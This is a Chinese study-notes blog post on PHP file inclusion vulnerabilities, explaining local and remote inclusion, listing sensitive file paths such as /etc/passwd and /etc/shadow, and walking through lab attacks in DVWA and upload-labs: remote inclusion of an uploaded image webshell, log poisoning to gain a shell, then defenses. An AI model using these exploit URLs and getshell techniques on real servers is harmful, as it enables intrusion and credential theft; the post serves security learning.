文件包含学习总结

目录

漏洞简介

漏洞原理

漏洞分类

漏洞防御


漏洞简介

  • 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

漏洞原理

  • 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

漏洞分类

  • 本地文件包含

    • 只能包含本地服务器上存在的文件。

      • 用户对输入可控且无过滤

      • 可以利用相对路径或绝对路径读取系统敏感文件

  • 远程文件包含

    • 包含远程服务器上的文件。

      需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器(比如:攻击者自己搭建的一个Web服务器)的文件。

      • allow_url_fopen=On (默认为On) 规定是否允许从远程服务器或者网站检索数据

      • allow_url_include=On (php5.2之后默认为Off) 规定是否允许include/require远程文件

    • 区别:

      • 本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行

      • 远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本并对外开放一个web服务,以确保该脚本能被访问到。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

      • 本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

    • 文件包含函数:

      复制代码
      require() include()
      require_once() include_once()
      include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
      而include_once(),require_once()这两个函数,与前两个的不同之处在于这两个函数只包含一次。适用于在脚本执行期间同一个文件有可能被包括超过一次的情况下,想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
    • 可能出现文件包含的点:url中出现:?page=xxx file=xxx ?home=xxx,并且后面的参数值是一个路径或者文件,可以配合文件上传进行验证

    • 常见的敏感信息路径:

      复制代码
      windows:
      c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrc\MetaBase.xml  //IIS配置文件 c:\windows\repair\sam //存储windows系统初次安装的密码 c:\programFiles\mysql\my.ini //MYSQL root密码
      c:\windows\php.ini // php 配置信息
      复制代码
      linux:
      /etc/passwd // 账户信息
      ​
      /etc/shadow // 账户密码文件
      ​
      /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
      /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
      ​
      /usr/local/app/php5/lib/php.ini // PHP相关配置
      ​
      /etc/httpd/conf/httpd.conf // Apache配置文件
      ​
      /etc/my.conf // mysql 配置文件
    • 远程文件包含演示:这里使用的是dvwa和upload-labs结合,让upload-labs文件包含漏洞模块成功包含dvwa文件上传的图片马.(此处注意包含的远程文件不能为php文件,否则不是在upload-labs机器上执行,而是在原文件所在服务器上执行--源文件服务器可以解析PHP文件的情况下.)

      • 首先在dvwa中上传图片马:

      • 使用upload-labs中的文件包含:http://127.0.0.1/upload_labs/include.php?file=http://192.168.111.144/hackable/uploads/fish.png发现成功包含:

        使用蚁剑连接成功:

    • 通过文件包含getshell:

      • 中间件日志包含:

        • 和之前文件包含类似,这里我们需要知道日志的地址,同时让php代码加载到日志中,并且让文件包含文件能够包含得到日志文件,这样就可以getshell

        • 这里的实例仍然使用dvwa:首先赋予权限,确保web服务器可以访问的到日志文件:chmod 755 /var/log/apache2 chmod 644 access.log 然后使用dvwa访问一段php代码,这里使用phpinfo做演示,注意,url中直接发送会使得特殊符号编码,于是抓包修改,这里我们可以在日志文件中发现我们写入的php代码:

        • 在通过文件包含就可以执行,http://192.168.111.144/vulnerabilities/fi/?page=/var/log/apache2/access.log后续只需将phpinfo改为一句话木马即可getshell

      • 配合文件上传getshell:在upload-labs中已经进行演示,主要是利用文件上传图片马,然后通过文件包含使得文件被当做php文件解析,最后蚁剑连接

漏洞防御

    1. 设置白名单(文件名可以确定)

    2. 过滤危险字符(判断文件名称是否为合法的php文件)

    3. 设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)

    4. 关闭危险配置(无需情况下设置allow_url_include和allow_url_fopen为关闭)

    5. 严格检查include类的文件包含函数中的参数是否外界可控

相关推荐
Acc1oFl4g16 分钟前
【铸网-2025】线下赛 web 详细题解
web安全·ctf·php反序列化
愚公搬代码44 分钟前
【愚公系列】《人工智能70年》044-数据科学崛起(安全与隐私,硬币的另一面)
人工智能·安全
宁雨桥1 小时前
前端登录加密实战:从原理到落地,守护用户密码安全
前端·安全·状态模式
ZeroNews内网穿透2 小时前
新版发布!“零讯”微信小程序版本更新
运维·服务器·网络·python·安全·微信小程序·小程序
撰卢5 小时前
网络安全期末大论文
安全·web安全
王哥儿聊AI10 小时前
Lynx:新一代个性化视频生成模型,单图即可生成视频,重新定义身份一致性与视觉质量
人工智能·算法·安全·机器学习·音视频·软件工程
Coovally AI模型快速验证12 小时前
从避障到实时建图:机器学习如何让无人机更智能、更安全、更实用(附微型机载演示示例)
人工智能·深度学习·神经网络·学习·安全·机器学习·无人机
Gobysec12 小时前
Goby 漏洞安全通告|Spring Cloud Gateway 信息泄露漏洞(CVE-2025-41243)
spring boot·安全·cve-2025-41243
有点不太正常12 小时前
FlippedRAG——论文阅读
论文阅读·安全·大模型·rag
挨踢攻城15 小时前
Linux 安全 | 使用 iptables 测量流量
linux·服务器·安全·iptables·linux安全·厦门微思网络·测量流量